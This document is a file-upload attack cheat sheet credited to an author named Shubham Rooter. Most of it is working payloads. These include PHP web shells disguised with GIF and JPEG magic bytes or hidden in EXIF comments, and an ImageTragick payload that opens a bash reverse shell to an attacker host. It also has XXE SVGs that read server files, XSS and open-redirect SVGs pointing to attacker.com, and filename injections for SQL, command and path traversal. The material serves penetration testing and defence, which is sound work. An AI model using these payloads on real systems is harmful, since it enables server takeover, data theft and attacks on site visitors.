File Upload

Upload
Function‼️

Author Shubham Rooter

Extensions Impact
◇ ASP, ASPX, PHP5, PHP, PHP3: Webshell, RCE
◇ SVG: Stored XSS, SSRF, XXE
◇ GIF: Stored XSS, SSRF
◇ CSV: CSV injection
◇ XML: XXE
◇ AVI: LFI, SSRF
◇ HTML, JS : HTML injection, XSS, Open redirect
◇ PNG, JPEG: Pixel flood attack (DoS)
◇ ZIP: RCE via LFI, DoS
◇ PDF, PPTX: SSRF, BLIND XXE

.

Bypass
◇ Blacklisting Bypass
▪ PHP → .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc
▪ ASP → asp, .aspx, .cer, .asa
▪ Jsp → .jsp, .jspx, .jsw, .jsv, .jspf
▪ Coldfusion → .cfm, .cfml, .cfc, .dbm
▪ Using random capitalization → .pHp, .pHP5, .PhAr

◇ Whitelisting Bypass
▪ file.jpg.php
▪ file.php.jpg
▪ file.php.blah123jpg
▪ file.php%00.jpg
▪ file.php\x00.jpg this can be done while uploading the file too, name it file.phpD.jpg and change the D (44) in hex to 00.
▪ file.php%00
▪ file.php%20
▪ file.php%0d%0a.jpg
▪ file.php.....
▪ file.php/
▪ file.php.\
▪ file.php#.png
▪ file.
▪ .html

◇ Content-ish Bypass
▪ Content-type validation- Upload file.php and change the Content-type: application/x-php or Content-Type : application/octet-streamto Content-type: image/png or Content-type: image/gif or Content-type: image/jpg.

▪ Content-Length validation- Small PHP Shell like:

```
(<?=`$_GET[x]`?>)
```

Author
Shubham Rooter

◇ Content Bypass Shell▪ If they check the Content. Add the text "GIF89a;" before you shell-code. (Content-type: image/gif)
▪ GIF89a is a GIF file header. If uploaded content is being scanned, sometimes the check can be fooled by putting this header item at the top of shellcode:

```
GIF89a; <?php system($_GET['cmd']); ?>
```

• Magic Numbers Bypass
◇ Magic numbers are the first bits of a file which uniquely identify the type of file.

◇ it can be helpful to look for file format signatures and inferring how the application is using them based on these signatures, as well as how these formats may be abused to provoke undefined behavior within the application.
https://en.wikipedia.org/wiki/List_of_file_signatures

◇ These bytes can be used by the system to “differentiate between and recognize different files” without a file extension.

◇ Magic numbers (File signatures) are typically not visible to the user, but, can be seen by using a hex editor or by using the ‘xxd’ command to read the file.

```
└─$ xxd image.jpeg | head
```

◇ Download hex editor: To corrupt a file, we require a hex editor. hexedit is a popular tool used for the same. You can install it using:

```
└─$ sudo apt-get install hexedit
```

◇ You can open the file by typing

```
└─$ hexeditor image.png
```

◇ To change a byte using hexedit, you simply have to move the cursor over a byte, and type what you would like to.

◇ To save and exit, press ctrl X and then Y.

◇ To make php file with jpg magic number use this code:

```
└─$ echo -n -e '\xFF\xD8\xFF\xE0\n<?php system($_GET['cmd']); ?>'  > shell.jpg.pHp
```

or
└─$ echo -e $'\xFF\xD8\xFF\xE0\n<?php system($_GET['cmd']); ?>' > shell.jpg.pHp

◇ You can also check it with this command:

└─$ file shell.jpg.pHp
shell2.png.pHp: JPEG image data

How to find out uploader is checking file signature or its checking file extention and content-type?
Lets try to change the our shell extension to .jpg and try to upload it. It still fails. So we can conclude that it is not checking the file name extension. The same happens if we change the content-Type to jpg and file name as it is. If its still fails we can understand that uploader is checking file signature.

◇ Comment in jpg file Bypass

▪ For file uploads which validate image size using php getimagesize(), it may be possible to execute shellcode by inserting it into the Comment attribute of Image - properties and saving it as file.jpg.php.
▪ You can do this with gimp or exiftools:

└─$ exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.jpg
└─$ mv file.jpg file.php.jpg (modify the extension because .jpg is not an executable format)

Author
Shubham Rooter

Vulnerabilities
◇ Directory Traversal
▪ Set filename ../../etc/passwd/logo.png
▪ Set filename ../../../logo.png as it might changed the website logo.

◇ SQL Injection
▪ Set filename 'sleep(10).jpg.
▪ Set filename sleep(10)-- -.jpg.

◇ Command Injection
▪ Set filename ; sleep 10;

◇ SSRF
▪ Abusing the "Upload from URL", if this image is going to be saved in some public site, you could also indicate a URL from IPlogger and steal information of every visitor.
▪ SSRF Through .svg file.

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="https://attacker.com/picture.jpg" /></svg>
```

```
  ImageTragic
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|
touch "hello)'
pop graphic-context


  XXE
◇ Upload using .svg file

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://
www.w3.org/1999/xlink" version="1.1">
   <text font-size="40" x="0" y="16">&xxe;</text>
</svg>

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>
• https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload
◇ Using excel file


•   XSS
◇ Set file name filename="svg onload=alert(document.domain)>" ,
filename="58832_300×300.jpg<svg onload=confirm()>"
◇ Upload using .gif file

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;



◇ Upload using .svg file

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/
svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:
3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("HolyBugx XSS");
   </script>
</svg>
• https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting#xss-uploading-files-svg

 https://brutelogic.com.br/blog/file-upload-xss/
```

- Open Redirect

1. Upload using .svg file

```
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://attacker.com'"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
</code>
```

◇

Upload tricks

◇ Use double extensions : .jpg.php, .png.php5

◇ Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg

◇ Random uppercase and lowercase : .pHp, .pHP5, .PhAr

◇ Null byte (works well against pathinfo())

- .php%00.gif
- .php\x00.gif
- .php%00.png
- .php\x00.png
- .php%00.jpg
- .php\x00.jpg

◇ Special characters

- Multiple dots : file.php..... , in Windows when a file is created with dots at the end those will be removed.
- Whitespace and new line characters
- file.php%20
- file.php%0d%0a.jpg
- file.php%0a
- Right to Left Override (RTLO): name.%E2%80%AEphp.jpg will became name.gpj.php.
- Slash: file.php/, file.php.\, file.j\sp, file.j/sp
- Multiple special characters: file.jsp/./././.

◇ Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif

- Content-Type : image/gif
- Content-Type : image/png
- Content-Type : image/jpeg
- Content-Type wordlist: SecLists/content-type.txt
- Set the Content-Type twice: once for unallowed type and once for allowed.

◇ Magic Bytes
▪ Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
▪ PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
▪ JPG: \xff\xd8\xff
▪ GIF: GIF87a OR GIF8;
▪ Shell can also be added in the metadata

◇ Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")

◇

Misc
◇ Uploading file.js & file.config (web.config)

◇ Pixel flood attack using image

◇ DoS with a large values name 1234 … 99.png

◇ Zip Slip
▪ If a site accepts .zip file, upload .php and compress it into .zip and upload it. Now visit, site.com/path?page=zip://path/file.zip%23rce.php

◇ Image Shell
▪ Exiftool is a great tool to view and manipulate exif-data. Then I will to rename the file mv pic.jpg pic.php.jpg

```
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' pic.jpg
```

•
•

•
My Full Scanario For Check Uploaders:
◇ Just uploading .php file instead of jpg file.
◇ Trying double extensions to bypass and upload php file pic.jpg.php or pic.php.jpg
◇ Changing Content-type filtering i.e., changing Content-Type: txt/php to image/jpg
◇ Tried Case sensitives – pic.PhP also tried pic.php5, pHP5.
◇ Tried special characters to bypass pic.php%00 , pic.php%0a, pic.php%00
◇ Tried comment php code in jpg file.
◇ Basically every file extension has its own magic number, and I took a php-reverse-shell.php file and using hex editor I added the magic number of jpeg i.e., FF D8 FF E0 at start of the php file using the hex tool.

•

Vulnerable uploader code for mgic bytes:

◇ PHP code:

```
<?php
$allowed_image_types = false;
$image_content = file_get_contents( 'image.png' );
$allowed_image_types = array(
'jpeg' ⇒ "\xFF\xD8\xFF",
'gif' ⇒ "GIF",
      'png' ⇒ "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a",
'bmp' ⇒ "BM",
      'psd' ⇒ "8BPS",
      'swf' ⇒ "FWS",
);
foreach ( $allowed_image_types as $allowed_image_type ⇒ $allowed_binary_check ) {
if ( substr( image_content, 0, strlen( $allowed_binary_check ) ) ⩵⩵
$allowed_binary_check ) {
echo 'This ' . $allowed_image_type . ' image is allowed!';
} else {
      echo 'Nope!';
    }
}
?>
```

References:

◇ https://github.com/HolyBugx/HolyTips/blob/main/Checklist/File%20Upload.md
◇ https://book.hacktricks.xyz/pentesting-web/file-upload
◇ https://github.com/swisskyrepo/PayloadsAllTheThings/

Author
Shubham Rooter

https://www.github.com/shubham-rooter
https://www.twitter.com/shubhamtiwari_r
https://www.instagram.com/shubham_rooter
https://www.linkedin.com/in/shubham-tiwari09